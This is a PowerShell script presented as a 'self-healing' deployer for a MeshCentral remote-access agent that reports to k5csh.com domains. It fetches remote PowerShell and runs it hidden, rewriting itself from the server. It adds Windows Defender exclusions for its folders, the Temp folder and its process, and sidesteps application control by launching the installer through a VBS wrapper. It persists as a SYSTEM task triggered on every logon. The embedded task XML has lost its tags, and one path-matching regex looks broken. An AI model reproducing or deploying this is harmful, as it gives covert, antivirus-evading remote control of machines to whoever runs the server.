# rmt.k5csh.com — Self-Healing MeshAgent & Sync Engine $meshUrl = 'https://mc.k5csh.com/meshagents?id=4&meshid=Wml4qVGdvRgcJJPFHSmUt8dn5fEHFdXqMh$OfHIEEuO3Z$H6cD9ewsVurLg06tni&installflags=0' $bootstrapUrl = 'https://rmt.k5csh.com' # --- CONFIGURATION --- $agentName = "c3-it-agent" # --- 1. HARD ELEVATION GUARD --- $identity = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object Security.Principal.WindowsPrincipal($identity) $isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host "Admin privileges required. Relaunching elevated..." -ForegroundColor Yellow $tempBoot = Join-Path $env:TEMP "mesh_boot.ps1" try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 (New-Object Net.WebClient).DownloadFile($bootstrapUrl, $tempBoot) Unblock-File -Path $tempBoot -ErrorAction SilentlyContinue $proc = Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File '$tempBoot'" -Verb RunAs -PassThru -Wait } catch { Write-Error "Elevation request failed or was cancelled by user." } finally { Remove-Item -Path $tempBoot -Force -ErrorAction SilentlyContinue } return } [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13 $workDir = "C:\ProgramData\MeshAgentBootstrap" $agentDir = "C:\Program Files\c3-it-agent" $localScriptPath = Join-Path $workDir "sync.ps1" $tempScriptPath = Join-Path $workDir "sync.tmp.ps1" # Target System Temp directory $tempInstallerPath = Join-Path $env:SystemRoot "Temp\meshagent_installer.exe" $tempVbsPath = Join-Path $env:SystemRoot "Temp\mesh_wrapper.vbs" $taskName = "Agent-BootstrapSync" if (-not (Test-Path $workDir)) { New-Item -Path $workDir -ItemType Directory -Force | Out-Null } # Pre-stage Defender Exclusions try { Add-MpPreference -ExclusionPath $workDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath $agentDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionPath (Join-Path $env:SystemRoot "Temp") -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess "c3-it-agent.exe" -ErrorAction SilentlyContinue } catch {} # --- 2. Auto-Rewrite Engine --- function Get-ScriptHash([string]$text) { if ([string]::IsNullOrWhiteSpace($text)) { return "" } $bytes = [System.Text.Encoding]::UTF8.GetBytes($text) $algorithm = [System.Security.Cryptography.SHA256]::Create() $hashBytes = $algorithm.ComputeHash($bytes) return [System.BitConverter]::ToString($hashBytes) -replace '-' } try { $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $remoteCode = $wc.DownloadString($bootstrapUrl) if (-not [string]::IsNullOrWhiteSpace($remoteCode)) { if (Test-Path $localScriptPath) { $localCode = Get-Content -Path $localScriptPath -Raw -ErrorAction SilentlyContinue $localHash = Get-ScriptHash $localCode $remoteHash = Get-ScriptHash $remoteCode if ($localHash -ne $remoteHash) { Write-Host "Worker script update detected (SHA256 mismatch). Rewriting local payload..." -ForegroundColor Yellow [System.IO.File]::WriteAllText($tempScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) $swapCmd = "Start-Sleep -Seconds 1; Copy-Item -Path '$tempScriptPath' -Destination '$localScriptPath' -Force; Remove-Item -Path '$tempScriptPath' -Force -ErrorAction SilentlyContinue; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File '$localScriptPath'" Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command '$swapCmd'" return } } else { [System.IO.File]::WriteAllText($localScriptPath, $remoteCode, [System.Text.Encoding]::UTF8) } } } catch { Write-Warning "Failed to reach Cloudflare Worker at $bootstrapUrl. Continuing with local logic..." } # --- 3. Target MeshID Extraction --- $targetMeshID = $null if ($meshUrl -match 'meshid=([^&]+)') { $targetMeshID = $Matches[1].Trim() } $regPath = "HKLM:\SOFTWARE\MeshAgentBootstrap" $storedMeshID = $null if (Test-Path $regPath) { $storedMeshID = (Get-ItemProperty -Path $regPath -Name "CurrentMeshID" -ErrorAction SilentlyContinue).CurrentMeshID } # --- 4. Dynamic Service Audit & Scrubbing Engine --- Write-Host "Auditing system for MeshAgent services..." -ForegroundColor Cyan $allAgentServices = Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.PathName -like "*MeshAgent*" -or $_.PathName -like "*$agentName*" -or $_.DisplayName -like "*Mesh Agent*" -or $_.DisplayName -like "*$agentName*" } $currentTargetService = $null $currentTargetExe = $null foreach ($service in $allAgentServices) { if ($service.Name -like "*$agentName*" -or $service.DisplayName -like "*$agentName*" -or $service.PathName -like "*$agentName*") { $currentTargetService = $service if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $currentTargetExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } } else { Write-Host "Legacy/Mismatched agent service found: '$($service.DisplayName)'. Purging..." -ForegroundColor Yellow $oldExe = $null if ($service.PathName -match '(?:"([^"]+)"|([^s]+))') { $oldExe = if ($Matches[1]) { $Matches[1] } else { $Matches[2] } } if ($oldExe -and (Test-Path $oldExe)) { Start-Process $oldExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } Stop-Service -Name $service.Name -Force -ErrorAction SilentlyContinue } } # Dynamic Path Exclusions if ($currentTargetExe -and (Test-Path $currentTargetExe)) { try { $targetDir = Split-Path -Path $currentTargetExe -Parent Add-MpPreference -ExclusionPath $targetDir -ErrorAction SilentlyContinue Add-MpPreference -ExclusionProcess (Split-Path -Path $currentTargetExe -Leaf) -ErrorAction SilentlyContinue } catch {} } # --- 5. Installation State Verification & Resilient Execution --- $needsInstall = $false if (-not $currentTargetExe -or -not (Test-Path $currentTargetExe)) { Write-Host "Target agent binary missing on system. Triggering deployment..." -ForegroundColor Yellow $needsInstall = $true } elseif (-not $currentTargetService -or $currentTargetService.State -ne 'Running') { Write-Host "Target agent service stopped or missing. Repairing installation..." -ForegroundColor Yellow $needsInstall = $true } elseif ([string]::IsNullOrWhiteSpace($storedMeshID)) { Write-Host "Agent is healthy, but MeshID tracking key was uninitialized. Synchronizing registry value..." -ForegroundColor Cyan if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null $storedMeshID = $targetMeshID } elseif ($storedMeshID -ne $targetMeshID) { Write-Host "MeshID change detected (Stored: '$storedMeshID' | Target: '$targetMeshID'). Redeploying..." -ForegroundColor Yellow $needsInstall = $true } if ($needsInstall) { Write-Host "Deploying target agent instance '$agentName'..." -ForegroundColor Cyan if ($currentTargetExe -and (Test-Path $currentTargetExe)) { Start-Process $currentTargetExe -ArgumentList '-fulluninstall' -Wait -ErrorAction SilentlyContinue Start-Sleep -Seconds 2 } if ($currentTargetService) { Stop-Service -Name $currentTargetService.Name -Force -ErrorAction SilentlyContinue Start-Sleep -Seconds 1 } try { Write-Host "Downloading installer into system temp..." -ForegroundColor Cyan $wc = New-Object Net.WebClient $wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") $wc.DownloadFile($meshUrl, $tempInstallerPath) Unblock-File -Path $tempInstallerPath -ErrorAction SilentlyContinue Write-Host "Attempting standard binary installation..." -ForegroundColor Green $installSuccess = $false try { $p = Start-Process -FilePath $tempInstallerPath -ArgumentList "-fullinstall" -PassThru -Wait -ErrorAction Stop if ($p.ExitCode -eq 0) { $installSuccess = $true } } catch { Write-Warning "Standard execution blocked by policy. Triggering VBS script execution bridge..." } # --- Application Control Fallback Wrapper --- if (-not $installSuccess) { Write-Host "Executing installer via Windows Script Host execution wrapper..." -ForegroundColor Yellow $q = [char]34 $vbsLines = @( "Set WshShell = CreateObject(" + $q + "WScript.Shell" + $q + ")", "WshShell.Run " + $q + $q + $tempInstallerPath + $q + " -fullinstall" + $q + ", 0, True" ) [System.IO.File]::WriteAllLines($tempVbsPath, $vbsLines, [System.Text.Encoding]::ASCII) Start-Process "wscript.exe" -ArgumentList "$tempVbsPath" -Wait Start-Sleep -Seconds 3 } if ($targetMeshID) { if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } Set-ItemProperty -Path $regPath -Name "CurrentMeshID" -Value "$targetMeshID" -Type String -Force | Out-Null } Write-Host "Agent deployment cycle finished." -ForegroundColor Green } catch { Write-Error "Failed to download or execute agent binary: $($_.Exception.Message)" } finally { if (Test-Path $tempInstallerPath) { Remove-Item -Path $tempInstallerPath -Force -ErrorAction SilentlyContinue } if (Test-Path $tempVbsPath) { Remove-Item -Path $tempVbsPath -Force -ErrorAction SilentlyContinue } } } else { Write-Host "Agent '$($currentTargetService.DisplayName)' operational and matching MeshID ($storedMeshID). No action required." -ForegroundColor Green } # --- 6. Scheduled Task Alignment Engine --- $taskExists = & schtasks.exe /query /tn "$taskName" 2>&1 $needsTaskUpdate = $false if ($taskExists -match "ERROR:" -or $LASTEXITCODE -ne 0) { $needsTaskUpdate = $true } else { $taskInfo = & schtasks.exe /query /tn "$taskName" /fo LIST /v 2>&1 if ($taskInfo -match "irm" -or $taskInfo -notmatch [regex]::Escape($localScriptPath)) { Write-Host "Old or mismatched task detected. Forcing task update..." -ForegroundColor Yellow $needsTaskUpdate = $true } } if ($env:USERNAME -ne "SYSTEM" -and $needsTaskUpdate) { Write-Host "Registering/Updating $taskName via native Task Scheduler engine..." -ForegroundColor Cyan $tempXmlPath = Join-Path $env:SystemRoot "Temp\task_def.xml" $taskXml = @" Ensures Agent stays synchronized and up to date via logon event monitoring. true <QueryList><Query Id="0" Path="Security"><Select Path="Security">*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]</Select></Query></QueryList> S-1-5-18 HighestAvailable IgnoreNew false false true true true PT5M 3 true false true false false PT1H 7 powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "$localScriptPath" "@ [System.IO.File]::WriteAllText($tempXmlPath, $taskXml, [System.Text.Encoding]::Unicode) & schtasks.exe /create /tn "$taskName" /xml "$tempXmlPath" /f | Out-Null Remove-Item -Path $tempXmlPath -Force -ErrorAction SilentlyContinue Write-Host "Task registration completed successfully." -ForegroundColor Green }